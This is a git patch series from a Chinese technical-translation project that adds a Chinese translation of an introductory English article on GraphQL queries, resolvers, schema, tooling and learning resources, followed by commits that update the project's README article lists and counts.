 ![](https://cdn-images-1.medium.com/max/1000/1*tulrgfYYaRaDetz7jP5Q-g.png)
 
-According to Google Images, the typical personal assistant is an eight-armed alien
+上图是 Google 图片找的，有的私人助理甚至有八条手臂。
 
 ![](https://cdn-images-1.medium.com/max/800/1*nC8aB5GHMhUEV28GdvSb5Q.png)
 
-In practice, a GraphQL API is organized around three main building blocks: the **schema**, **queries**, and **resolvers**.
+理论上，一个 GraphQL API 主要由三个部分组成：**schema（类型）**，**queries（查询）** 以及 **resolvers（解析器）**。
 
 ### Queries ###
 
-The request you make to your GraphQL personal assistant is the **query**, and it looks something like this:
+你向你的 GraphQL 私人助理提出的请求就是 `query` ，query 的形式如下所示：
 
 ```
 query {
@@ -86,7 +86,7 @@ query {
 }
 ```
 
-We’re declaring a new query using the `query` keyword, then asking for a field named `stuff`. The great thing about GraphQL queries is that they support nested fields, so we can go one level deeper:
+在这里，我们用 `query` 关键字定义了一个新的查询，它将取出名叫 `stuff` 的字段。GraphQL 查询（Queries）最棒之处就是它支持多个字段嵌套查询，我们可以在上面的基础上加深一个层级：
 
 ```
 query{
@@ -98,9 +98,9 @@ query{
 }
 ```
 
-As you can see, the client making the query doesn’t need to care which “shop” the data is coming from. Just ask for what you need, and let the GraphQL server take care of the rest.
+正如你所见，客户端在查询的时候不需要关心数据是来自于哪一个“商店”的。你只需要请求你要的数据，GraphQL 服务端将会完成其它所有的工作。
 
-It’s worth noting that query fields can also point to **arrays**. For example, here’s a common pattern when querying for a list of posts:
+还有一点值得注意，query 字段也可以指向一个数组。例如，以下是一个查询一个文章列表的常用模式：
 
 ```
 query {
@@ -116,7 +116,7 @@ query {
 }
 ```
 
-Query fields also support **arguments**. If I want to display a specific post, I can add an `id` argument to the `post` field:
+Query 字段也支持使用**参数**。如果我想展示一篇特别的文章，我可以将 `id` 参数放在 `post` 字段中：
 
 ```
 query {
@@ -132,7 +132,7 @@ query {
 }
 ```
 
-Finally, if I want to make that `id` argument dynamic, I can define a **variable** and then reuse it inside the query (note that we’re also **naming** the query here):
+最后，如果我想让 `id` 参数能动态改变，我可以定义一个**变量**，然后在 query 字段中使用它。（请注意，我们在 query 字段处也要定义一次这个变量的名字）
 
 ```
 query getMyPost($id: String) {
@@ -148,7 +148,7 @@ query getMyPost($id: String) {
 }
 ```
 
-A good way to put all this in practice is to use [GitHub’s GraphQL API Explorer](https://developer.github.com/early-access/graphql/explorer/) . For example, give the following query a try:
+有个很好的方式来实践这些方法：使用  [GitHub’s GraphQL API Explorer](https://developer.github.com/early-access/graphql/explorer/) 。例如，试着查询一下：
 
 ```
 query {
@@ -161,23 +161,23 @@ query {
 
 ![](https://cdn-images-1.medium.com/max/1000/1*adGjZ9lofuO_ohkmlqtZvg.gif)
 
-GraphQL autocomplete in action
+GraphQL 的自动完成功能
 
-Notice that as you try typing a new field name below `description`, the IDE will automatically offer possible field names directly auto-completed from the GraphQL API itself. Neat!
+你可能注意到了，你使用了一个名为 `description` 的新字段名，IDE 会根据 GraphQL API 将可选的字段名自动补全。真棒！
 
 [![](https://cdn-images-1.medium.com/max/800/1*XthnQqgmM5Ag4TmwM6UVWw.png)](https://dev-blog.apollodata.com/the-anatomy-of-a-graphql-query-6dffa9e9e747)
 
 [The Anatomy of a GraphQL Query](https://dev-blog.apollodata.com/the-anatomy-of-a-graphql-query-6dffa9e9e747)
 
-You can learn more about GraphQL queries in the excellent [Anatomy of a GraphQL Query](https://dev-blog.apollodata.com/the-anatomy-of-a-graphql-query-6dffa9e9e747)  article.
+你可以读读这篇超棒的文章[《Anatomy of a GraphQL Query》](https://dev-blog.apollodata.com/the-anatomy-of-a-graphql-query-6dffa9e9e747)，了解更多 GraphQL 查询的知识。
 
 ### Resolvers ###
 
-Even the best personal assistant in the world can’t go and get your dry cleaning unless you give them an address.
+即使是世界上最好的私人助理也只能根据你提供的地址去取干洗衣物，而不能凭空将你的衣服变出来。
 
-Similarly, your GraphQL server won’t know what to do with an incoming query unless you tell it using a **resolver**.
+同样的，GraphQL 服务端并不知道要对一个即将到来的查询做什么处理，除非你告诉它要使用 **resolver**。
 
-A resolver tells GraphQL how and where to fetch the data corresponding to a given field. For example, here’s what a resolver for the `post` field above could look like (using Apollo’s [GraphQL-Tools](https://github.com/apollographql/graphql-tools) :
+一个 resolver 会告诉 GraphQL 在哪里以及如何去取到符合给出字段的数据。例如，下面是之前我们取出 `post` 字段例子的 resolver（使用了 Apollo 的 [GraphQL-Tools](https://github.com/apollographql/graphql-tools) ）：
 
 ```
 Query: {
@@ -187,7 +187,7 @@ Query: {
 }
 ```
 
-We’re putting the resolver on `Query` because we want to query for `post` directly at the root level. But you can also have resolvers for sub-fields, such as a `post`'s `author` field:
+在这个例子中，我们将 resolver 放在 `Query` 中，因为我们想要直接在根层级查询 `post`。但你也可以将 resolver 放在子字段中，例如查询 `post`（文章）的 `author`（作者）字段可以按照下面的形式：
 
 ```
 Query: {
@@ -202,7 +202,7 @@ Post: {
 }
 ```
 
-And note that your resolvers are not limited to returning database documents. For example, maybe you want to add a `commentsCount` to your `Post` type:
+还有，resolver 不仅仅只能返回数据库里的内容，例如，如果你想为你的 `Post` 类型加上一个 `commentsCount`（评论数量）属性，可以这么做：
 
 ```
 Post: {
@@ -215,119 +215,119 @@ Post: {
 }
 ```
 
-The key concept to understand here is that with GraphQL, **your API schema and your database schemas are decoupled**. In other words, there might not be any `author` and `commentsCount` fields in our database, but we can “simulate” them through the power of resolvers.
+理解这里的关键概念：对于 GraphQL，**你的 API 结构与你的数据库结构是解耦的**。换一种说法，我们的数据库中可能根本就没有 `author` 和 `commentsCount` 这两个字段，但是我们可以通过 resolver 的力量将它们“模拟”出来。
 
-As you’ve seen you can write any code you want inside a resolver. Which is why you can also make them *modify* the contents of your database, in which case they’re known as **mutation** resolvers.
+正如你所见，我们可以在 resolver 中写任何你想写的代码。因此，你可以通过**改变** resolver 任意地**修改**数据库中的内容。
 
 ### Schema ###
 
-All this good stuff is made possible by GraphQL’s typed schema system. My goal today is to give you a quick overview more than an exhaustive introduction, so I won’t go into details here.
+GraphQL 的强类型结构系统可以让很多事情都变得可行。我今天的目标仅仅是给你做一个快速的概述而不是详细的介绍，所以我不会在这个内容上继续深入。
 
-That being said, I encourage you to check out the [GraphQL documentation](http://graphql.org/learn/schema/)  if you’d like to learn more.
+话虽如此，如果你想了解更多这方面的信息，我建议你阅读 [GraphQL 官方文档](http://graphql.org/learn/schema/)。
 
 ![](https://cdn-images-1.medium.com/max/800/1*uLSaEA8VyrGrU2Nki7LiKg.png)
 
-### Frequently Asked Questions ###
+### 常见问题 ###
 
-Let’s take a break to answer a few common questions.
+让我们先暂停，回答一些常见的问题。
 
-You there, in the back. Yes, you. I can see you want to ask something. Go ahead, don’t be shy!
+你肯定想问一些问题，来吧，尽管问别害羞！
 
-#### What’s the relation between GraphQL and graph databases? ####
+#### GraphQL 与图形数据库有什么关系？ ####
 
-Not much, really, GraphQL doesn’t have anything to do with graph databases like [Neo4j](https://en.wikipedia.org/wiki/Neo4j). The “graph” part comes from the idea of crawling across your API graph by using fields and subfields; while “QL” stands for “query language”.
+它们真的没有关系，GraphQL 与诸如 [Neo4j](https://en.wikipedia.org/wiki/Neo4j) 之类的图形数据库没有任何关系。名称中的 “Graph” 是来自于 GraphQL 使用字段与子字段来遍历你的 API 图谱；“QL” 的意思是“查询语言”（query language）。
 
-#### I’m perfectly happy with REST, why should I switch to GraphQL? ####
+#### 我用 REST 用的很开心，为什么我要切换成 GraphQL 呢？ ####
 
-If you haven’t yet bumped into the REST pain points that GraphQL is meant to address, then I would say that’s a good thing!
+如果你使用 REST 还没有碰上 GraphQL 所解决的那些痛点，那当然是件好事啦！
 
-Using GraphQL over REST probably won’t affect your app’s overall user experience that much, so switching to it isn’t a matter of life or death by any means. That being said, I’d definitely recommend trying out GraphQL on a small side project if you ever get the chance.
+但是使用 GraphQL 来代替 REST 基本不会对你 app 的用户体验产生任何影响，所以“切换”这件事并不是所谓“生或死”的抉择。话虽如此，我还是建议你如果有机会的话，先在项目里小范围地尝试一下 GraphQL 吧。
 
-#### Can I use GraphQL without React/Relay/*insert library here*? ####
+#### 如果我不用 React、Relay 等框架，我能使用 GraphQL 吗？ ####
 
-Yes you can! Since GraphQL is just a specification, you can use it with any library on any platform, either with a client (for example, [Apollo](http://dev.apollodata.com/) has GraphQL clients for the web, iOS, Angular, etc.) or by making your own calls to a GraphQL server.
+当然能！因为 GraphQL 仅仅是一个标准，你可以在任何平台、任何框架中使用它，甚至在客户端中也同样能应用它（例如，[Apollo](http://dev.apollodata.com/) 有针对 web、iOS、Angular 等环境的 GraphQL 客户端）。你也可以自己去做一个 GraphQL 服务端。
 
-#### GraphQL was made by Facebook, and I don’t trust Facebook ####
+#### GraphQL 是 Facebook 做的，但是我不信任 Facebook####
 
-Again, GraphQL is a specification, meaning you can use GraphQL implementations without running a single line of code written by Facebook.
+再强调一次，GraphQL 只是一个标准，这意味着你可以在不用 Facebook 一行代码的情况下实现 GraphQL。
 
-And while having Facebook’s support is definitely a nice plus for the GraphQL ecosystem, at this point I believe the community is big enough for GraphQL to thrive even if Facebook were to stop using it.
+并且，有 Facebook 的支持对于 GraphQL 生态系统来说是一件好事。关于这块，我相信 GraphQL 的社区足够繁荣，即使 Facebook 停止使用 GraphQL，GraphQL 依然能够茁壮成长。
 
-#### This whole “let the client ask for the data they need” business doesn’t sound very secure to me… ####
+#### “让客户端自己请求需要的数据”这整件事情听起来似乎不怎么安全…… ####
 
-Since you write your own resolvers, it’s up to you to address any security concerns at that level.
+你得自己写自己的 resolver，因此在这个层面上是否会出现安全问题完全取决于你。
 
-For example, if you let the client specify a `limit` parameter to control the number of documents it receives, you’ll probably want to cap that number to avoid denial-of-service-style attacks where clients requests millions of documents over and over.
+例如，为了防止客户端一遍又一遍地请求查询记录造成 DDOS 攻击，你可以让客户端指定了一个 `limit` 参数去控制它接受数据的数量。
 
-#### So what do I need to get started? ####
+#### 那么我如何上手 GraphQL？ ####
 
-Generally speaking, you’ll need at least two components to run a GraphQL-powered app:
+通常来说，一个 GraphQL 驱动的 app 起码需要以下两个组件：
 
-- A **GraphQL server** that serves your API.
-- A **GraphQL client** that connects to your endpoint.
+- 一个 **GraphQL 服务端** 来为你的 API 提供服务。
+- 一个 **GraphQL 客户端** 来连接你的节点。
 
-Read on to learn more about the various options available.
+了解更多可用的工具，请继续阅读。
 
 ![](https://cdn-images-1.medium.com/max/800/1*zugVY5cAa9KIP6Necc7uCw.png)
 
-Now that you have a fair idea of how GraphQL works, let’s talk about some of the main players in the space.
+现在你应该对 GraphQL 有了一个恰当的认识，让我们来聊一聊这个领域的玩家们。
 
-### GraphQL Servers ###
+### GraphQL 服务端 ###
 
-The first brick you’ll need is a GraphQL server. [GraphQL itself](http://graphql.org/) is just a specification after all, so this leaves the door open to a few competing implementations.
+万丈高楼平地起，盖起这栋楼的第一块砖就是一个 GraphQL 服务端。 [GraphQL](http://graphql.org/) 它本身仅仅是一个标准，因此它敞开大门接受各种各样的实现。
 
 #### [GraphQL-JS](https://github.com/graphql/graphql-js)  (Node) ####
 
-This is the original reference implementation of GraphQL. You can use it together with [express-graphql](https://github.com/graphql/express-graphql)  to [create your API server](http://graphql.org/graphql-js/running-an-express-graphql-server/) .
+它是 GraphQL 的最初的实现。你可以将它和 [express-graphql](https://github.com/graphql/express-graphql) 一起使用，[创建你自己的 API 服务](http://graphql.org/graphql-js/running-an-express-graphql-server/) 。
 
 #### [GraphQL-Server](http://graphql.org/graphql-js/running-an-express-graphql-server/) (Node) ####
 
-The [Apollo](http://apollostack.com)  team also has their own all-in-one GraphQL server implementation. It’s not as widespread as the original yet, but is very well documented and supported and quickly gaining ground.
+[Apollo](http://apollostack.com) 团队也有他们自己的一站式 GraphQL 服务端实现。它虽然还没有像 GraphQL-JS 一样被广泛使用，但是它的文档、支持都做得很棒，使用它能快速取得进展。
 
-#### [Other Platforms](http://graphql.org/code/) ####
+#### [其它平台](http://graphql.org/code/) ####
 
-GraphQL.org has a [list of GraphQL implementations for various other platforms](http://graphql.org/code/)  (PHP, Ruby, etc.).
+GraphQL.org 列了一个清单： [GraphQL 在其它平台下的实现清单](http://graphql.org/code/)  （包括 PHP、Ruby 等）。
 
-### GraphQL Clients ###
+### GraphQL 客户端 ###
 
-Although you can technically query your GraphQL API directly without the need for a dedicated client library, it can [definitely make your life easier](https://dev-blog.apollodata.com/why-you-might-want-a-graphql-client-e864050f789c) .
+虽然你不使用客户端类库也可以很好地查询 GraphQL API，但是一个相对应的客户端类库将会[让你的开发更加轻松](https://dev-blog.apollodata.com/why-you-might-want-a-graphql-client-e864050f789c)。
 
 #### [Relay](https://facebook.github.io/relay/) ####
 
-Relay is Facebook’s own GraphQL toolkit. I haven’t used it myself, but from what I’ve heard it’s mainly tailored to Facebook’s own needs, and might be a bit over-engineered for most usages.
+Relay 是 Facebook 的 GraphQL 工具。我还没用过它，但是我听说它主要是为了 Facebook 自己的需求量身定做的，可能对大多数的用户来说不是那么人性化。
 
 #### [Apollo Client](http://www.apollodata.com/) ####
 
-The new entrant in this space is [Apollo](http://apollostack.com) , and it’s quickly taken over. The typical Apollo client stack is composed of two bricks:
+在这个领域的最新参赛者是 [Apollo](http://apollostack.com)，它正在迅速发展。典型的 Apollo 客户端技术栈由以下两部分组成：
 
-- [Apollo-client](http://dev.apollodata.com/core/) (, which lets you run GraphQL queries in the browser and store their data (and also has its own [devtools extension](https://github.com/apollographql/apollo-client-devtools)).
-- A connector for your front-end framework of choice ([React-Apollo](http://dev.apollodata.com/react/) , [Angular-Apollo](http://dev.apollodata.com/angular2/), etc.).
+- [Apollo-client](http://dev.apollodata.com/core/)，它能让你在浏览器中运行 GraphQL 查询，并存储数据。（它还有自己的[开发者插件](https://github.com/apollographql/apollo-client-devtools)）。
+- 与你用的前端框架的连接件（例如 [React-Apollo](http://dev.apollodata.com/react/)、[Angular-Apollo](http://dev.apollodata.com/angular2/) 等）。
 
-Note that by default, Apollo-client stores its data using [Redux](http://redux.js.org) , which is great since Redux is itself a pretty established state management library with a rich ecosystem.
+另外，在默认的情况下 Apollo 客户端使用  [Redux](http://redux.js.org) 存储数据。这点很棒，Redux 本身是一个有着丰富生态系统的超棒的状态管理类库。
 
 [![](https://cdn-images-1.medium.com/max/800/1*SLvbmGeU1p3mUfG8qA4cQQ.png)](https://github.com/apollographql/apollo-client-devtools) 
 
-The Apollo Devtools Chrome extension
+Apollo 在 Chrome 开发者工具中的插件
 
-### Open-Source Apps ###
+### 开源 App ###
 
-Even though GraphQL is fairly new, there are already some promising open-source apps making use of it.
+虽然 GraphQL 还属于新鲜事物，但是已经有一些开源 app 在使用它了。
 
 #### [VulcanJS](http://vulcanjs.org) ####
 
 [![](https://cdn-images-1.medium.com/max/800/1*YoSlSmK3P1CIlpXKyVujCQ.png)](http://vulcanjs.org) 
 
-First, a disclaimer: I’m the lead maintainer of [VulcanJS](http://vulcanjs.org) . I created VulcanJS to let people take advantage of the power of the React/GraphQL stack without having to write so much boilerplate. You can think of it as “Rails for the modern web ecosystem”, in that it lets you build CRUD apps (such as an [Instagram clone](https://www.youtube.com/watch?v=qibyA_ReqEQ)) in a matter of hours.
+首先我得声明一下，我是 [VulcanJS](http://vulcanjs.org) 的主要维护者。我创建 VulcanJS 是为了让人们在不用写太多样板代码的情况下充分享受 React、GraphQL 技术栈的好处。你可以把它看成是“现代 web 生态系统的 Rails”，让你可以在短短几个小时内做出你的 CRUD（增删查改）型 app。（例如 [Instagram clone](https://www.youtube.com/watch?v=qibyA_ReqEQ)）
 
 #### [Gatsby](https://www.gatsbyjs.org/docs/) ####
 
-Gatsby is a React static site generator, which is now powered by GraphQL as of [version 1.0](https://www.gatsbyjs.org/docs/) . While that might seem like an odd combination at first, it’s actually quite powerful. During its build process, Gatsby can fetch data from multiple GraphQL APIs, and then use them to create a fully static client-only React app.
+Gatsby 是一个 React 静态网站生成器，基于 [GraphQL 1.0 版本](https://www.gatsbyjs.org/docs/) 开发。它一眼看上去像个奇怪的大杂脍，但其实它的功能十分强大。Gatsby 在构建过程中，可以从多个 GraphQL API 取得数据，然后用它们创建出一个全静态的无后端 React app。
 
-### Other GraphQL Tools ###
+### 其它的 GraphQL 工具 ###
 
 #### [GraphiQL](https://github.com/graphql/graphiql) ####
 
-GraphiQL is a very handy in-browser IDE for querying GraphQL endpoints.
+GraphiQL 是一个基于浏览器的非常好用的 IDE，他可以很方便地帮你对 GraphQL 端点进行查询。
 
 [![](https://cdn-images-1.medium.com/max/800/1*fbeXj5wB383gWsMXn_6JAw.png)](https://github.com/graphql/graphiql)
 
@@ -335,81 +335,81 @@ GraphiQL
 
 #### [DataLoader](https://github.com/facebook/dataloader) ####
 
-Due to the nested nature of GraphQL queries, a single query can easily trigger dozens of database calls. To avoid taking a performance hit, you can use a batching and caching library such as DataLoader, developed by Facebook.
+由于 GraphQL 的查询通常是嵌套的，一个查询可能会调用很多个数据库请求。为了避免影响性能，你可以使用一些批量出入库框架和缓存库，例如 Facebook 开发的 DataLoader。
 
 #### [Create GraphQL Server](https://blog.hichroma.com/create-graphql-server-instantly-scaffold-a-graphql-server-1ebad1e71840) ####
 
-Create GraphQL Server is a command line utility that makes it easy to quickly scaffold a GraphQL server powered by a Node server and a Mongo database.
+Create GraphQL Server 是一个简单的命令行工具，它能快速地帮你搭建好基于 Node 服务端与 Mongo 数据库的 GraphQL 服务端。
 
-### GraphQL Services ###
+### GraphQL 服务 ###
 
-Finally, there are also a number of “GraphQL-backend-as-a-service” companies that take care of the whole server side of things for you, and might be a nice way to dip your toes in the GraphQL ecosystem.
+最后，这儿列了一些 GraphQL BAAS（后台即服务）公司，它们已经为你准备好了服务端的所有东西。这可能是一个让你尝试一下 GraphQL 生态系统的很好的方式。
 
-#### [GraphCool](http://graph.cool) #### 
+#### [GraphCool](http://graph.cool) ####
 
-A flexible backend platform combining GraphQL and AWS Lambda, with a free developer plan.
+一个由 GraphQL 和 AWS Lambda 组成的一个弹性后端平台服务，它提供了开发者免费计划。
 
 #### [Scaphold](https://scaphold.io/) ####
 
-Another GraphQL backend as a service, which also offers a free plan. Compared to GraphCool, it offers a few extra features such as custom user roles and callback hooks for common actions.
+另一个 GraphQL BAAS 平台，它也提供了免费计划。与 GraphCool 相比，它提供了更多的功能。（例如定制用户角色、常规操作的回调钩子等）
 
 ![](https://cdn-images-1.medium.com/max/800/1*deLIZh7AfYbAt0u2t7dAKQ.png)
 
-There are already quite a few places where you can brush up on GraphQL.
+下面是一些能让你学习 GraphQL 的资源。
 
 #### [GraphQL.org](http://graphql.org/learn/)  ####
 
-The official GraphQL site has some great documentation to get you started.
+GraphQL 的官方网站，有许多很好的文档供你学习。
 
 #### [LearnGraphQL](https://learngraphql.com/) ####
 
-LearnGraphQL is an interactive course put together by the folks at [Kadira](https://kadira.io/).
+LearnGraphQL 是由 [Kadira](https://kadira.io/) 员工共同制作的课程。
 
 #### [LearnApollo](https://www.learnapollo.com/) ####
 
-A good follow-up to LearnGraphQL, LearnApollo is a free course made by Graphcool.
+LearnApollo 是由 GraphCool 制作的免费课程，是对于 LearnGraphQL 课程的一个很好的补充。
 
-#### [The Apollo Blog](https://dev-blog.apollodata.com/) ####
+#### [Apollo 博客](https://dev-blog.apollodata.com/) ####
 
-The Apollo blog has tons of detailed, well-written posts about Apollo and GraphQL in general.
+Apollo 的博客有成吨的干货，有很多关于 Apollo 和 GraphQL 的超棒的文章。
 
-#### [GraphQL Weekly](https://graphqlweekly.com/) ####
+#### [GraphQL 周报](https://graphqlweekly.com/) ####
 
-A newsletter about all things GraphQL curated by the Graphcool team.
+由 Graphcool 团队策划的一个简报，其内容包括任何有关 GraphQL 的信息。
 
-#### [Hashbang Weekly](http://hashbangweekly.okgrow.com/) ####
+#### [Hashbang 周报](http://hashbangweekly.okgrow.com/) ####
 
-Another great newsletter, which also covers React and Meteor in addition to GraphQL.
+另一个不错的简报，除了 GraphQL 的内容外，还涵盖了 React、Meteor。
 
 #### [Awesome GraphQL](https://github.com/chentsulin/awesome-graphql) ####
 
-A pretty exhaustive list of GraphQL links and resources.
+一个关于 GraphQL 的链接和资源的很全面的清单。
 
 ![](https://cdn-images-1.medium.com/max/800/1*S69N5yYp1VLSSO0GTnrpmw.png)
 
-So how do you put your newly acquired GraphQL knowledge in practice? Here are a few recipes you can try:
+你如何实践你刚学到的 GraphQL 的知识呢？你可以尝试下面这些方式：
 
 #### [Apollo + Graphcool + Next.js](https://github.com/zeit/next.js/tree/master/examples/with-apollo)  ####
 
-If you’re already familiar with Next.js and React, [this example](https://github.com/zeit/next.js/tree/master/examples/with-apollo)  will let you set up your GraphQL endpoint using Graphcool, and then query it using Apollo.
+如果你对 Next.js 与 React 很熟悉，[这个例子](https://github.com/zeit/next.js/tree/master/examples/with-apollo)将会帮助你使用 Graphcool 很快的搭建好你的 GraphQL 端点，并在客户端使用 Apollo 进行查询。
 
 #### [VulcanJS](http://docs.vulcanjs.org/) ####
 
-The [Vulcan tutorial](http://docs.vulcanjs.org/) will take you through setting up a simple GraphQL data layer, both on the server and client. Since Vulcan is an all-in-one platform, it’s a nice way to get started without any setup. If you need help, don’t hesitate to [drop by our Slack channel](http://slack.vulcanjs.org/) !
+[Vulcan 教程](http://docs.vulcanjs.org/)将会引导你创建一个简单的 GraphQL 数据层，既有服务端部分也有客户端部分。因为 Vulcan 是一个一站式平台，所以这种无需任何配置的方式是一种很好的上手途径。如果你需要帮助，请访问[我们的 Slack 栏目](http://slack.vulcanjs.org/)！
 
-#### [GraphQL & React Tutorial](https://blog.hichroma.com/graphql-react-tutorial-part-1-6-d0691af25858#.o54ygcruh)  ####
+#### [GraphQL & React 教程](https://blog.hichroma.com/graphql-react-tutorial-part-1-6-d0691af25858#.o54ygcruh)  ####
 
-The Chroma blog has a [six-part tutorial](https://blog.hichroma.com/graphql-react-tutorial-part-1-6-d0691af25858#.o54ygcruh) on building a React/GraphQL app following a component-driven development approach.
+Chroma 博客有一篇[《分为六部的教程》](https://blog.hichroma.com/graphql-react-tutorial-part-1-6-d0691af25858#.o54ygcruh)，讲述了如何按照组件驱动的开发方式来构建一个 React/GraphQL app。
 
 ![](https://cdn-images-1.medium.com/max/800/1*uLSaEA8VyrGrU2Nki7LiKg.png)
 
-### Conclusion ###
+### 总结 ###
 
-GraphQL might seem complex at first because it’s a technology that reaches across many areas of modern development. But if you take the time to understand the underlying concepts, I think you’ll find out that a lot of it just makes sense.
+当你刚开始接触 GraphQL 可能会觉得它非常复杂，因为它横跨了现代软件开发的众多领域。但是，如果你稍微花点时间去明白它的原理，我认为你可以找到它很多的可取之处。
 
-So whether you end up actually using it or not, I believe it’s worth taking the time to familiarize yourself with GraphQL. More and more companies and frameworks are adopting it, and it might very well end up becoming one of the key building blocks of the web over the next few years.
+所以不管你最后会不会用上它，我相信多了解了解 GraphQL 是值得的。越来越多的公司与框架开始接受它，过几年它可能会成为 web 开发的又一个重要组成部分。
 
-Agree? Disagree? Questions? Just let me know here in the comments. And if you’ve enjoyed this article, please consider 💚ing and sharing it!
+赞同？不赞同？有疑问？请留下评论让我们知道你的看法。如果你还比较喜欢这篇文章，请点亮💚或者分享给他人。
 
 ---
 

From 9ffd80d07e39e741099c30734a87c07c7f621778 Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Fri, 21 Apr 2017 00:41:12 +0800
Subject: [PATCH 215/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20=E5=A6=82=E4=BD=95?=
 =?UTF-8?q?=E4=BD=BF=E7=94=A8=20HTTP=20Headers=20=E6=9D=A5=E4=BF=9D?=
 =?UTF-8?q?=E6=8A=A4=E4=BD=A0=E7=9A=84=20Web=20=E5=BA=94=E7=94=A8=20?=
 =?UTF-8?q?=E7=9A=84=E7=A7=AF=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md  | 4 ++--
 backend.md | 1 +
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 56611cb7cbb..e7c254ef9a5 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [469](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [470](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -55,10 +55,10 @@
 
 ## 后端
 
+* [如何使用 HTTP Headers 来保护你的 Web 应用](https://juejin.im/post/58f5d3718d6d810057c18f75/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom)翻译)
 * [解析 Go 中的函数调用](https://juejin.im/post/58f579b58d6d81006491c7c0/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([xiaoyusilen](https://github.com/xiaoyusilen)翻译)
 * [Go 函数调用 Redux](https://juejin.im/post/58f57be144d904006c09019c/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([xiaoyusilen](https://github.com/xiaoyusilen)翻译)
 * [关于在 Node.js 中引用模块，知道这些就够了](https://juejin.im/post/58eb3812da2f60005f0bae9b/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([zhouzihanntu](https://github.com/zhouzihanntu) 翻译)
-* [模块化 vs. 微服务](https://juejin.im/post/58eb2627da2f60005f0b2d60/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [所有后端译文>>](https://github.com/xitu/gold-miner/blob/master/backend.md)
 
 ## 教程
diff --git a/backend.md b/backend.md
index 5f463e494f9..9371f971369 100644
--- a/backend.md
+++ b/backend.md
@@ -1,3 +1,4 @@
+* [如何使用 HTTP Headers 来保护你的 Web 应用](https://juejin.im/post/58f5d3718d6d810057c18f75/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom)翻译)
 * [解析 Go 中的函数调用](https://juejin.im/post/58f579b58d6d81006491c7c0/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([xiaoyusilen](https://github.com/xiaoyusilen)翻译)
 * [Go 函数调用 Redux](https://juejin.im/post/58f57be144d904006c09019c/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([xiaoyusilen](https://github.com/xiaoyusilen)翻译)
 * [关于在 Node.js 中引用模块，知道这些就够了](https://juejin.im/post/58eb3812da2f60005f0bae9b/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([zhouzihanntu](https://github.com/zhouzihanntu) 翻译)

From 2c64c733ef3c079c7f3e542d7e79217b1dbc0fe6 Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Fri, 21 Apr 2017 00:51:40 +0800
Subject: [PATCH 216/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20=E9=AB=98=E9=98=B6?=
 =?UTF-8?q?=E5=87=BD=E6=95=B0=EF=BC=88=E8=BD=AF=E4=BB=B6=E7=BC=96=E5=86=99?=
 =?UTF-8?q?=EF=BC=89=EF=BC=88=E7=AC=AC=E5=9B=9B=E9=83=A8=E5=88=86=EF=BC=89?=
 =?UTF-8?q?=20=E7=9A=84=E7=A7=AF=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md    | 4 ++--
 front-end.md | 1 +
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index e7c254ef9a5..b483d09732b 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [470](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [471](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -37,10 +37,10 @@
 
 ## 前端
 
+* [高阶函数（软件编写）（第四部分）](https://juejin.im/post/58f6d6ff570c3500564fbddc?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([reid3290](https://github.com/reid3290) 翻译)
 * [为什么用 JavaScript 学习函数式编程？（软件编写）（第二部分）](https://juejin.im/post/58f5a2ecb123db2fa2b1b244?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
